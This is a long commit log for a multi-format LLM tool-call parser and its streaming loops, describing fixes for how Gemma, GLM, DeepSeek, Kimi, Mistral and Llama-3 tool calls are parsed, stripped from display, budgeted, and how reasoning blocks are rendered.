were O(n^2); they are now ~linear (and ~40x faster at depth 400).
- Correct the DeepSeek/GLM/Kimi provenance comments: the cited commit
51fa458a92d6 is unrelated, and GLM/Kimi were never standalone
common_chat_parse_* functions (llama.cpp uses common_chat_params_init_glm_4_5
plus a generalized XML parser, PRs #15904 / #16932).
- Add tests: Gemma deep-nesting linearity, nested object/array preservation,
same-turn distinct-call cap, and the native-template tool-render fallback.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: guard Gemma value parser against non-advancement and missing tokenizer
Addresses Gemini review:
- _gemma_parse_value now consumes one character when a stray }/]/, sits where a
value is expected, so _gemma_parse_array can never stall at the same index on
malformed input (a latent infinite loop).
- _render_with_native_template returns None when neither a tokenizer nor a
processor is present instead of raising AttributeError.
- Tests for both.
* Studio: fix attribute-form function-XML literal close tag and zero-arg strict call
Addresses Codex review of the <function name="..."> attribute form in
_parse_function_xml (MiniCPM-5 / MiniMax-M2):
- End the call body at the LAST </function> / </tool_call> within the call's
window, so a literal close tag inside a code/search argument (e.g.
print("</function>")) is preserved instead of truncating the call.
- Accept a closed call with no parameters as a valid zero-argument call in strict
mode (the function close is already required), instead of rejecting it as a
truncated call.
- Tests for both, mirroring the legacy <function=...> coverage.
* Studio: drop scratch review/planning artifacts from the branch
* Studio: fix tool-call parser/loop review findings on the multi-format path
Address the live code-review findings on the safetensors/MLX + GGUF tool path:
- routes: include the attribute form <function name="..."> in the safetensors
capability whitelist so MiniCPM-5 / MiniMax-M2 templates keep the tool pill
(parser already handles the form; the post-filter wrongly suppressed it).
- safetensors loop: build the plan-without-action re-prompt from the active
tools instead of a hardcoded web_search/python string, and gate it on
auto_heal_tool_calls, matching the GGUF loop.
- safetensors loop: hold a leading bare-JSON object ({"name":..,"parameters":..})
during BUFFERING until it closes, then drain it as a tool call instead of
streaming the raw JSON to clients. The DRAINING/STREAMING resolvers still
recover a plain JSON answer, so this can never drop content.
- parser: anchor the Llama-3 <|python_tag|>NAME.call(...) scan to the tag and
chain ; -separated calls, so all semicolon-separated built-ins parse and a
literal <|python_tag|>x.call(...) inside a JSON string argument no longer
fires the wrong tool.
- parser: consume the optional trailing </s> after a named Mistral
[TOOL_CALLS]name{json} call, mirroring the array shape.
- GGUF streaming strip: use the shared parser patterns (which know
[TOOL_CALLS] and <|python_tag|>) so a textual tool call entering DRAINING is
stripped instead of leaking the marker to streaming clients.
- routes: hoist the _strip_mistral_closed_calls import to module level.
Adds regression tests covering each fix; existing parser suite stays green.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fix DeepSeek/GLM/Gemma tool-call review findings
Address the live code-review findings specific to the DeepSeek / GLM / Kimi
and native-template additions:
- parser: in strict mode (Auto-Heal off) require the per-call
<｜tool▁call｜end｜> terminator for DeepSeek V3 calls instead of executing on
a bare balanced object closed only by the envelope end.
- parser: keep GLM string arguments that begin with a quote verbatim (drop
the leading-quote case from the JSON-decode probe) so a quoted search query
is not decoded down to its inner text.
- parser: reject a GLM call with an unclosed <arg_value> in strict mode, and
under Auto-Heal keep the partial value rather than dropping it to a no-arg
call.
- parser: add a balanced wrapper-less Gemma strip (call:NAME{...}) so a nested
object/array argument is removed whole instead of leaving a trailing brace;
run the balanced Mistral and Gemma strips on the streaming display paths too.
- safetensors loop: buffer a leading wrapper-less Gemma call:NAME{...} so it
drains and executes instead of streaming the raw call text.
- inference: render the native-template fallback on a shallow tokenizer copy
instead of mutating the shared tokenizer outside the generation lock, and
load the native template from base_model for LoRA adapters.
Adds regression tests for each; existing parser suite stays green.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden multi-format tool-call detection from review findings
Apply five targeted fixes from the review pass over the multi-format tool
path:
- routes: route display strip delegates to _strip_tool_xml so Mistral
[TOOL_CALLS] blocks with nested JSON are removed from streamed display
text, not just the XML forms.
- tool_call_parser: skip function/parameter starts that fall inside an
already-open parameter block (_inside_open_parameter) so nested example
payloads are not mis-parsed as new calls; extract
strip_llama3_leading_sentinels so the bare-JSON guard is shared.
- safetensors_agentic: probe bare JSON through strip_llama3_leading_sentinels
before the balanced-brace check so a leaked header sentinel does not defeat
the guard.
- tool_healing: allow dotted tool names in the Gemma wrapped start pattern.
- llama_cpp (GGUF): buffer wrapper-less Llama-3.2 {"name":..} calls that carry
no XML signal, drain a complete object silently and hold an incomplete one,
and run the end-of-stream safety net unconditionally so markerless calls are
detected and never leak the raw JSON (including truncated fragments).
Adds regression tests for the GGUF bare-JSON streaming path and the Mistral
display strip.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: stop bare-JSON tool calls leaking at EOF, oversized, and into history
The second review pass flagged that the Llama-3.2 bare-JSON tool-call handling
still leaked raw JSON in several spots; ``strip_tool_markup`` only knows
XML/bracket markup, so the bare-JSON form survived it. Fix them symmetrically
across the safetensors and GGUF loops:
- Safetensors stream-end resolver now routes a held bare-JSON fragment to
DRAINING (mirroring GGUF) so a truncated ``{"name":..`` cut off by the end of
the stream is dropped instead of flushed as assistant content. The 7/10
reviewer finding.
- Both loops now drain (suppress) an oversized still-open bare-JSON call once it
passes ``_MAX_BARE_JSON_BUFFER`` instead of streaming the raw prefix, gated on
a ``"name"`` key so a giant plain JSON answer still streams; a complete
oversized call still executes via the safety net.
- Add a shared ``strip_leading_bare_json_call`` helper and apply it to the
content kept for the assistant turn in both loops, so an executed bare-JSON
call is not replayed as visible text or fed back as next-turn history.
Plain JSON answers without a ``"name"`` key are untouched throughout. Adds
regression tests for the EOF, oversized, and next-turn cases on both backends
plus unit tests for the helper.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: bound the Llama-3 python_tag strip on real control sentinels
The route display strip's <|python_tag|> arm ran to the next <| of any kind.
A tool-call argument carrying a literal <|...|> token (for example <|cite|>
inside a string value) truncated the strip early and leaked the call tail into
the visible response. Narrow the stop condition to the genuine Llama control
sentinels (eot_id, eom_id, python_tag, start/end_header_id, begin_of_text,
finetune_right_pad_id) so embedded markup and JSON are consumed while real
header/turn boundaries still bound the strip.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden GLM/Gemma parsing, cap GGUF textual calls, share native-template fallback
GLM 4.x parser walked a body pre-bounded by the first </tool_call>, so a string
argument containing a literal </tool_call> (e.g. code that prints it) was
truncated. Walk arg_key/arg_value pairs against the full content instead, since
each <arg_value> is delimited by its own </arg_value> and the call's real close
is the </tool_call> that precedes the next <arg_key>.
Add a truncated wrapper-less Gemma pattern (call:NAME{... with no closing brace)
to the markup strip so a call cut off mid-arguments does not leak raw into the
visible stream. It runs after the closed form, so a complete call keeps trailing
prose.
Cap and dedup tool calls parsed from the GGUF TEXTUAL fallback at
_MAX_TOOL_CALLS_PER_TURN, mirroring the safetensors loop. Structured
delta.tool_calls are grammar-bounded by llama-server, but text parsed straight
from content is not, so one runaway turn could fan out into dozens of
executions.
Extract the native-chat-template fallback into chat_template_helpers
(render_native_template / render_with_native_template_fallback) so the
transformers and MLX text backends share one implementation. The MLX text path
now applies it too, so an Unsloth override template that drops the tools schema
no longer silently stops MLX from advertising tools. The MLX VLM path renders
via the processor for image tokens and is intentionally left on its own render.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: gate markerless bare JSON on enabled tools and close parser/strip asymmetries
The Llama-3.2 custom_tools bare-JSON form has no marker, so any JSON object with a
name key was read as a tool call. An ordinary JSON answer like
{"name":"Alice","parameters":{"age":30}} was misclassified as a call to a
disabled tool and dropped from the visible response. Gate the markerless form on
the enabled tool names (threaded through parse_tool_calls_from_text and
strip_leading_bare_json_call, supplied by both streaming loops): an object whose
name is not an enabled tool is ordinary content. The marker-based forms keep
their name-agnostic behaviour (an explicit signal is a real call attempt), and
unrestricted mode stays ungated.
Also fix two parser/strip asymmetries the parser already tolerated:
- A literal </function> inside a parameter value (print("</function>")) truncated
both the core and route strips at the first close, leaking the tail. Extend the
strip to the call's real close (last </function> before the next opener),
mirroring the parser, without merging separate calls.
- The single-object Mistral [TOOL_CALLS]{...} shape parsed but _strip_mistral_closed_calls
left it, leaking the raw object into display. Strip the balanced object while
keeping trailing prose, matching the array and name shapes.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio tools: fix strip/parse symmetry and native-template token for DeepSeek/GLM/Kimi
Pass-3 review follow-ups on the multi-format tool parser:
- Bare Kimi call (<|tool_call_begin|>...<|tool_call_end|> with no section
wrapper) is accepted by the parser, so add it to the closed strip patterns
so the streaming (non-final) display strip removes it instead of leaking the
markup mid-generation.
- Route display strip now also runs the wrapper-less Gemma cleanup, so a
Gemma 4 call:NAME{..} no longer leaks into the visible answer.
- MLX model record carries base_model for a LoRA adapter so the native-template
fallback loads the base repo template rather than the adapter's
(often template-less) tokenizer.
- Native-template reload forwards the load-time HF token so a gated/private
model's repo template can still be fetched (transformers and MLX text paths).
- GGUF end-of-stream bare-call heuristic is gated on the enabled tool names so a
truncated ordinary JSON object ({"name":"Alice","age":) streams as the answer
instead of being dropped as a tool call.
Adds regression tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio tools: gate GGUF bare-JSON suppression on enabled tools and fix python-tag exponent parsing
Pass-4 review follow-ups on the GGUF tool loop and Llama-3 parser:
- The GGUF bare-JSON suppression sites still keyed off a raw "name" substring,
so an ordinary JSON answer whose name is not an enabled tool was dropped when
it was truncated, oversized, or reached the no-tool DRAINING fallback (the
parser, helper, and safetensors paths were already gated). All three sites now
use the shared enabled-name gate, and a held bare-JSON buffer that turns out not
to be an enabled call is shown as the answer instead of dropped at stream end.
- The Llama-3 python-tag numeric kwarg regex matched only the mantissa, so
scientific notation was truncated to its leading digits (1e-3 parsed as 1) and a
tool executed with the wrong value. The regex now accepts exponent and decimal
forms, and the int/float classification keys off the exponent too.
Adds regression tests for the truncated / oversized disabled-name JSON cases (and
a counterpart that a truncated enabled call still does not leak) plus the
scientific-notation kwargs.
* Studio: drop accidentally committed async worker transcripts
Eight generated reviewer / async-worker transcripts were committed under
studio/backend/async_task_outputs/. They are not imported or referenced by any
code and carry only internal task state, so they should never ship in the repo.
Remove them and gitignore the directory so they cannot be re-added.
* Studio tools: gate safetensors bare-JSON drain, fix nested-name gate and function-XML strip
Pass-4 review follow-ups on the shared parser / safetensors loop:
- The safetensors oversized and end-of-stream bare-JSON drain branches keyed off
a raw "name" substring, so a large or truncated ordinary JSON answer whose name
is not an enabled tool was drained instead of streamed. Both now use the shared
enabled-tool-name gate, matching the GGUF path.
- strip_leading_bare_json_call matched the first "name" anywhere, so a plain JSON
answer with a nested name equal to an enabled tool ({"result":{"name":"web_search"}})
was wrongly suppressed. It now extracts the TOP-LEVEL name only, walking past
nested objects/arrays and keeping the text when a top-level value is truncated.
- The function-XML display strip used a regex negative-lookahead that stopped at a
literal <function=...> opener inside a parameter value and then dropped the rest
of the answer to EOF. A scan-based strip mirrors the parser (ignores openers
inside an open <parameter> via _inside_open_parameter) and closes each call at its
real </function>, so trailing assistant text after such a call survives.
Adds regression tests for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep tools prompt when native-template probe raises; make helper tests hermetic
Pass-4 review follow-ups on the native-template fallback:
- render_with_native_template_fallback re-renders the live template with tools=None
to detect whether it dropped the schema. A template that requires tools can raise
on that probe; that must not discard the already-valid tools prompt. The probe is
now wrapped so any error returns the original formatted_prompt (transformers would
otherwise fall back to manual formatting and lose the schema; MLX would let the
exception escape).
- The native-template helper tests imported InferenceBackend just to reach the
thin wrapper, which pulls in unsloth and its optional vllm package metadata. They
now call the dependency-light render_native_template helper directly so they pass
in a backend/test environment without vllm. Adds a probe-raises regression test.
* Tool parsing: 3.9 import safety, disabled-Auto-Heal contract, capability gate
Round-2 review follow-ups on the multi-format tool-call parser:
- tool_call_parser: add `from __future__ import annotations`. The module
is dependency-light by design (external llama-server wrappers import it
standalone) and the package targets python >=3.9, where its PEP 604
`int | None` return annotations would raise TypeError on import.
- safetensors + GGUF drain fallback: gate the leading bare-JSON strip on
auto_heal_tool_calls. With Auto-Heal off, a truncated enabled-name
fragment that did not parse now stays visible, matching the XML strip
in the same branch and the disabled-Auto-Heal contract. With Auto-Heal
on it is still suppressed.
- safetensors capability gate: match the bare-JSON `{"name":` template
marker with a whitespace/escape-tolerant regex so a pretty-printed
`{ "name" :` or JSON-escaped `{\"name\":` template is not mis-classified
as tool-less. The parser already accepts that whitespace via
raw_decode, so the gate must too.
Regression tests added for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GLM tool-call display strip: treat literal close tag in arg value as data
Round-2 review follow-up on the GLM 4.x tool-call format.
The GLM call shape is <tool_call>NAME<arg_key>k</arg_key><arg_value>v
</arg_value>...</tool_call>. The parser was hardened to walk arg_key /
arg_value pairs so a literal </tool_call> inside an argument value (e.g.
print("</tool_call>")) is treated as data and the call's real close is the
</tool_call> that precedes the next <arg_key>. The display strips still used a
non-greedy <tool_call>.*?</tool_call> regex, which stopped at the literal and
leaked the call's tail into visible content and stale history.
Add _strip_glm_calls, a scan that mirrors the parser's close detection, and run
it before the regex arms in every strip pipeline: the core strip_tool_markup,
the route _strip_tool_xml display/history cleanup, and the safetensors + GGUF
streaming strips. Qwen / Hermes <tool_call>{json} has no NAME token after the
opener, so it is left to the regex arms unchanged.
Regression tests cover the literal-close-tag leak (core + route), normal GLM
calls, back-to-back GLM calls, zero-arg GLM, truncated GLM, and untouched Qwen.
* Tool parsing: symmetric "function" bare-JSON alias and route strip parity
Round-3 review follow-ups, all parser/strip symmetry fixes.
- Bare-JSON "function" alias: the markerless parser accepts a call name via
obj.get("name") or obj.get("function"), but the strip/gates only knew "name",
so a {"function":<enabled tool>} call executed while its raw JSON leaked. Teach
_top_level_bare_json_name the alias (with "name" precedence and the same nested
and truncated-name guards), and widen the guards in strip_leading_bare_json_call,
the safetensors and GGUF _looks_like_enabled_bare_json gates, and the route
capability marker regex.
- Route display/history cleanup: strip a tail-only </param> alias close (the
parser accepts <param name="...">...</param>), and run the parser's guarded
function-XML scan (_inside_open_parameter) before _TOOL_XML_RE so a literal
nested <function=...></function> inside an argument value does not truncate the
strip and leak the tail.
Regression tests added for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio tools: fix DeepSeek strict recovery, Kimi dotted names, Gemma spaced streaming
Round 3 review fixes for the DeepSeek / GLM / Kimi tool-call parsing path.
- DeepSeek R1 and V3/V3.1 strict parsing (Auto-Heal off): when a call is
truncated (missing closing fence or <tool_call_end> terminator), skip it
and keep scanning for later well-formed calls instead of breaking out and
dropping the rest of the envelope. This matches the Kimi strict parser's
recovery behaviour.
- Kimi dotted tool names: keep the full name after stripping only the
functions. prefix and :idx suffix, e.g. functions.mcp.server-list:0 stays
mcp.server-list. The previous split on "." truncated dotted MCP names to
their last segment. This matches current vLLM
(tool_id.split(":")[0].removeprefix("functions.")) and SGLang
(^(?:functions\.)?(?P<name>[\w.\-]+):(?P<index>\d+)$).
- Gemma wrapper-less call streaming: hold the whitespace-tolerant prefix
(call : NAME) in the streaming suppression buffer, matching the parser's
_GEMMA_BARE_TC_RE, so the spaced spelling split across chunks is buffered
instead of leaking as visible text. Applied to both the safetensors and
llama.cpp streaming paths.
- Remove dead _render_with_native_template method and the now-unused copy
import from inference.py; the live path uses render_with_native_template_fallback.
Adds regression tests for DeepSeek R1/V3 strict recovery, Kimi full dotted
name preservation, and the Gemma spaced-call streaming suppression.
* Studio tools: honor tool budget in GGUF loop and guard function-XML streaming strip
Round 4 review fixes. Both are asymmetric-fix bugs where the final/steady path got a
guard the analogous streaming/loop path did not.
- GGUF tool-call budget: the safetensors loop counts real tool-call turns against
max_tool_iterations (re-prompt stalls excepted), but the GGUF loop only bounded the
turn count by the enlarged range (max_tool_iterations + _MAX_REPROMPTS). Since this
PR raised _MAX_REPROMPTS from 1 to 3, a model that keeps making valid tool calls
could run up to three extra tool rounds (with max_tool_iterations=1, four rounds
instead of one). Add a _tool_iters_done counter that increments only when a tool
actually executed in the turn, and stop once the caller's budget is spent so the
post-loop final-answer nudge fires. A duplicate/disabled no-op turn is a correction
turn (like a plan-without-action re-prompt) and does not consume budget, preserving
the existing "already completed" re-prompt behavior.
- Streaming display strip: the final strip runs the guarded _strip_function_xml_calls
scanner (a literal <function=...> inside a parameter value is data, not a nested
call), but the GGUF and safetensors streaming strips still used only the open-ended
regex arms. When a tool-call argument contained literal function markup, the regex
tail ate everything to end-of-text and dropped the real trailing prose after the
call's true </function>. Run the guarded scanner (and the balanced Mistral strip)
before the regex arms in both streaming paths so streaming and final display agree.
Adds regression tests: GGUF valid tool calls respect max_tool_iterations, and the
streaming strip keeps trailing prose after a function-XML call with a literal marker.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio tools: safetensors tool budget counts only executed turns (GGUF parity)
Follow-up to the GGUF budget fix. The safetensors loop charged max_tool_iterations
per non-re-prompt iteration (iteration + 1 - reprompt_count), so a duplicate/disabled
no-op turn spent a budget slot even though no tool ran. With a small cap this dropped
real work: for max_tool_iterations=2, a model that made a valid call, repeated it (an
internal no-op correction turn), then made a distinct valid call executed only the
first -- the third turn was sent with no tools and the distinct call was ignored.
Track whether a turn actually executed a tool (set on record_result) and count only
those turns against the cap, matching the GGUF loop. A duplicate/disabled no-op is a
correction turn -- like a plan-without-action re-prompt -- and no longer consumes
budget, so the model still gets its "already completed" nudge and another tool-enabled
turn. Adds a regression test for the small-cap duplicate-then-distinct-call flow.
* Studio tools: fix stale Kimi dotted-name regression test
test_pr5624_regressions.py still expected functions.my.tool:0 to resolve to the last
segment (tool). The parser now preserves the full dotted name (my.tool) after removing
only the functions. prefix and :idx suffix, matching current vLLM/SGLang so dotted MCP
names like mcp.server-list survive. Update the assertion, name, and module docstring to
the corrected contract (the raw id is still preserved on the call).
* Studio: render the reasoning block for safetensors and MLX like GGUF
enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think>
into the generation prompt, so the model emits only the closing </think> then
the answer. The safetensors/MLX chat stream emitted that as plain content, so
the reasoning showed inline with no collapsible thinking block, while GGUF
(which surfaces reasoning via reasoning_content) rendered one. This brings
safetensors and MLX to parity.
- _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts
inside the reasoning block and splits on the first </think>; default False
keeps GGUF and every existing caller byte-identical. It suppresses a stray
re-emitted <think> and holds partial markers back across chunk boundaries.
- _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the
request, an enable_thinking or enable_thinking_effort style, and the template
actually using the standard <think>/</think> markers. Models with a bespoke
reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their
answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are
excluded too.
- sf_tool_stream and stream_chunks (the latter also serves MLX) feed text
through the extractor, emitting reasoning_content then content deltas, with a
per-turn reset in the tool loop and a flush before each tool_start; only the
visible delta reaches the monitor reply. The two non-streaming drains split
reasoning_content the same way.
- Tests: extractor prefilled mode (streaming and edge cases), the gate matrix
including the gemma-style exclusion, and a route-replay of the tool-loop
reasoning stream.
* Studio: render the reasoning block for safetensors and MLX like GGUF
enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think>
into the generation prompt, so the model emits only the closing </think> then
the answer. The safetensors/MLX chat stream emitted that as plain content, so
the reasoning showed inline with no collapsible thinking block, while GGUF
(which surfaces reasoning via reasoning_content) rendered one. This brings
safetensors and MLX to parity.
- _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts
inside the reasoning block and splits on the first </think>; default False
keeps GGUF and every existing caller byte-identical. It suppresses a stray
re-emitted <think> and holds partial markers back across chunk boundaries.
- _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the
request, an enable_thinking or enable_thinking_effort style, and the template
actually using the standard <think>/</think> markers. Models with a bespoke
reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their
answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are
excluded too.
- sf_tool_stream and stream_chunks (the latter also serves MLX) feed text
through the extractor, emitting reasoning_content then content deltas, with a
per-turn reset in the tool loop and a flush before each tool_start; only the
visible delta reaches the monitor reply. The two non-streaming drains split
reasoning_content the same way.
- Tests: extractor prefilled mode (streaming and edge cases), the gate matrix
including the gemma-style exclusion, and a route-replay of the tool-loop
reasoning stream.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: don't force a tool re-prompt on a negated intent (safetensors parity)
The safetensors _INTENT_SIGNAL claimed to mirror GGUF but was missing the
negative lookahead, so a refusal like "I will not search the web for that"
matched the "i will" intent and triggered the plan-without-action re-prompt
(STOP... you MUST call a tool), overriding a valid no-tool answer. GGUF already
excludes not/never. Add the same (?!\s+(?:not|never)\b) lookahead so both
backends agree. Extends the intent parity test with negated refusals.
* studio: parse the outer envelope before DeepSeek/Kimi markers embedded in its args
parse_tool_calls_from_text ran the DeepSeek/Kimi marker pre-pass before the shared
<tool_call>/<function=...> parser. When a Qwen/Hermes call's argument contained
literal Kimi/DeepSeek markup (for example a user asking the model to explain that
syntax), the pre-pass matched the embedded marker and returned it, executing the
wrong tool and dropping the real call. Skip the pre-pass when a <tool_call> or
<function=...> envelope opens before the first DeepSeek/Kimi marker, so the shared
parser takes the outer call; a genuine marker-led call (no leading envelope) still
goes through the pre-pass. Tests for the embedded-marker case and the control.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: trim redundant comments (comment-only, AST-verified)
* Studio: trim redundant comments (comment-only, AST-verified)
* Studio: prevent Gemma tool-parser DoS on stray delimiters
_gemma_parse_value returned the input index unchanged when text[i] was a
stray delimiter (,}]), so the list and mapping caller loops that advance
on the returned index spun forever at 100% CPU on malformed input such as
[},]. Advance past the delimiter so parsing always terminates.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: strip Magistral [THINK] reasoning from final display/history
strip_tool_markup removed [TOOL_CALLS] and <function> markup but left a
leading Magistral [THINK]...[/THINK] block intact, so its bracket-form
reasoning (not the <think> the reasoning channel renders) leaked into the
safetensors display and conversation history while GGUF/llama.cpp routes
it natively. Drop the leading reasoning block at end-of-turn (final=True)
via the existing _strip_mistral_reasoning helper; streaming is untouched.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep times in wrapper-less Gemma tool arguments
The wrapper-less Gemma value scanner used _GEMMA_KEY_RE = [\w.\-]+ for keys,
which also matches a digit-leading token, so a comma followed by a time or
ratio inside a value (call:web_search{query:meet at 10:00, 11:00 tomorrow})
was misread as a new 11: key, truncating the query and injecting a bogus
argument. Require keys to start with a letter or underscore, matching the
identifier-start rule the wrapped path already uses (_GEMMA_NEXT_KEY_RE).
Add a regression test.
* Studio: treat markers/close-tags inside tool-call arguments as data
Four parser correctness fixes where a valid argument string was mistaken for
structure:
- DeepSeek: find the envelope-end token outside JSON strings, so a query/code
argument containing the literal token no longer truncates the body and drops
the whole call.
- GLM: locate the real </arg_value> as the one whose next token is <arg_key> /
</tool_call> / end, so a value containing a literal </arg_value> (or
</tool_call>) is kept instead of executing the tool with corrupted arguments.
- Attribute-form <function name="..."> envelopes now count in the embedded-marker
guard, so a DeepSeek/Kimi marker inside a parameter value does not hijack the
outer call and run the wrong tool.
- Wrapper-less Gemma call:NAME{...} is gated on the enabled tool names (parse and
display strip), mirroring the Llama bare-JSON gate, so a disabled/example name in
prose is not stolen as a call and the real answer is preserved.
Add regression tests for each.
* Gate route Gemma wrapperless strip by enabled tools; make Kimi section-end search string-aware
Route-level display stripping now threads the enabled tool-name set into the
Gemma wrapperless-call strip, so prose that mentions a disabled tool
(call:foo{...}) is preserved while active tool calls are still stripped. This
mirrors the parser-level gate already used in tool_call_parser.
The Kimi section-end lookup now searches outside JSON string literals, so a
section-end marker appearing inside an argument string no longer triggers a
false truncation that drops a valid tool call.
* Run DeepSeek/Kimi pre-pass when a closed tool-call example precedes a real block
The marker pre-pass was skipped whenever any <tool_call>/<function> opener
appeared before the first DeepSeek/Kimi marker, even when that opener was a
CLOSED syntax example in prose that ends before the real block. In that case
parse_tool_calls_from_text skipped the DeepSeek/Kimi parsers and the genuine
tool call was dropped while a phantom tool named in the example ran instead.
Only treat a marker as embedded in a leading envelope when removing the closed
outer <tool_call>/<function> envelopes also removes every marker (the marker
actually sat inside one). A marker left standing is a real call, so the pre-pass
runs. The legitimate case of a marker inside a closed outer envelope's arguments
is preserved.
* Honor reasoning_effort none in safetensors prefill; strip Magistral reasoning while streaming
Two safetensors/MLX reasoning fixes surfaced in review:
_sf_reasoning_prefill_mode only checked enable_thinking, so an
enable_thinking_effort (GLM-5.2) request that disables thinking via
reasoning_effort=none (without enable_thinking=False) still began in
prefilled-<think> mode. A plain answer with no </think> was then swallowed
whole into reasoning_content and the visible response came back empty. Thread
reasoning_effort into the predicate and treat none as disabled, mirroring
_request_reasoning_kwargs.
strip_tool_markup_streaming stripped tool markup but not the leading Magistral
[THINK]...[/THINK] bracket block, so the raw chain-of-thought leaked into the
streamed safetensors content instead of the reasoning drawer (GGUF routes it
natively). Apply _strip_mistral_reasoning first, matching the final strip; an
unclosed [THINK] is held from the marker on so nothing flickers.
* Heal truncated outer tool envelopes and keep quoted Gemma args intact
Two follow-ups from review of the marker pre-pass and Gemma parsing:
The leading-envelope guard only removed CLOSED outer <tool_call>/<function>
envelopes before deciding whether a DeepSeek/Kimi marker was embedded, so a
truncated outer call missing its close tag (whose argument embeds a marker) was
treated as a standalone marker and the embedded sample ran instead of the
intended outer call being Auto-Healed. Decide on the last outer opener before the
marker and whether it closed before the marker instead, so a closed syntax
example still runs the pre-pass while a real closed-or-truncated outer call keeps
it.
The wrapper-less Gemma argument scan tracked bracket depth but not quotes, so a
quoted value containing a comma followed by a key-like token (a search query such
as "weather, location: Boston") was split mid-string, truncating the value and
fabricating an extra argument. Track quote state (with escapes) so the top-level
comma boundary is only taken outside quoted spans.
* Span outer envelopes to their real close when locating embedded markers
Locating the DeepSeek/Kimi marker relative to a leading outer envelope used the
FIRST close tag after the opener, so a literal </function> or </tool_call> inside
an argument value (for example python code that contains the text) was mistaken
for the envelope boundary. The marker after it was then treated as a standalone
call and the embedded sample ran instead of the intended outer call.
Match the closed outer envelopes with the shared patterns that already extend to
the real final close (a literal close inside a value is data), and treat a marker
that survives their removal as embedded only when a still-open (truncated) outer
opener precedes it, so Auto-Heal still repairs a truncated outer call. A closed
syntax example before a genuine block still runs the pre-pass.
* Span the tool_call outer envelope to its real close in the marker guard
The leading-envelope check reused the lazy <tool_call>.*?</tool_call> strip
pattern, so a Qwen/Hermes JSON argument containing a literal </tool_call> ended
the span early. A DeepSeek/Kimi sample later in that same string then survived
the closed-envelope removal, and the pre-pass executed the embedded call instead
of the outer <tool_call>. The <function> arm already spanned to its real close;
give <tool_call> the same real-close pattern (with the negative lookahead that
keeps back-to-back calls separate) so a literal close inside a value is data.
* Preserve no-tool Gemma prose and keep later R1 calls when healing a close
Two review follow-ups:
_gemma_strip_gate returned None when no tools were enabled, and None means
strip every markerless call:NAME{...} block, so a no-tool answer that documents
the syntax (or the Anthropic display path, which passes an empty tool list as
None) had that prose deleted. It is a display/history gate, so return the
enabled-name set instead -- an empty set when no tool is enabled, which strips
nothing because every call:NAME{...} is then prose.
The DeepSeek R1 heal path located the close fence with an unbounded forward
search, so when a first call had balanced JSON but omitted its fence the search
landed on a LATER call's terminator and pos advanced past that valid call,
dropping it. Match the close immediately after the JSON (whitespace-skipped) like
the strict path, and advance by just the JSON when it is absent, so a multi-call
turn keeps its later well-formed calls (heal is now a superset of strict).
* Resume wrapper-less Gemma scan past a consumed call's balanced body
The markerless call:NAME{...} scan used finditer, which resumes right after the
opening call: token, so a nested call:OTHER{...} mentioned inside the first
call's own quoted string argument (for example a web_search query that quotes the
Gemma tool syntax) was re-matched and returned as a spurious second tool call,
executing an unintended tool. Walk with a manual cursor that resumes after the
outer call's balanced body (brace matching already skips quoted braces), so a
call's arguments are never rescanned. Genuinely separate back-to-back calls and
disabled/example prose are unaffected.
* Mistral outer call wins over XML literals; align healer signals with its parser
Two follow-ups on the shared-parser ordering after the healing-passthrough
merge:
- A well-formed [TOOL_CALLS] call whose JSON arguments quote tool XML parsed
the literal instead of the outer call (executing the wrong tool). When the
first XML signal sits inside a leading balanced Mistral body it is argument
data, so the Mistral parser now runs first; an XML signal before the trigger
keeps the normal order, so a [TOOL_CALLS] literal inside an XML call's
arguments still stays data.
- passthrough_healing buffered streams on the parser module's broadened signal
list (now including <|python_tag|> and [TOOL_CALLS]) but promotes with
core.tool_healing, which does not parse those forms: a streamed Mistral or
Llama text call was held until finalization and flushed as prose. The healer
keeps its own signal list limited to the formats it can promote, restoring
immediate streaming for the rest.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: Gemma wrapper-less marker literals and quotes, GLM embedded close pair
- The Gemma fallback deferral now keys on an actual wrapped opener
(_GEMMA_TC_RE), not the wrapper literal anywhere in content: a wrapper-less
call whose argument merely mentions <|tool_call> has nothing tool_healing
can parse, and deferring it lost the call entirely (not executed and
stripped from display).
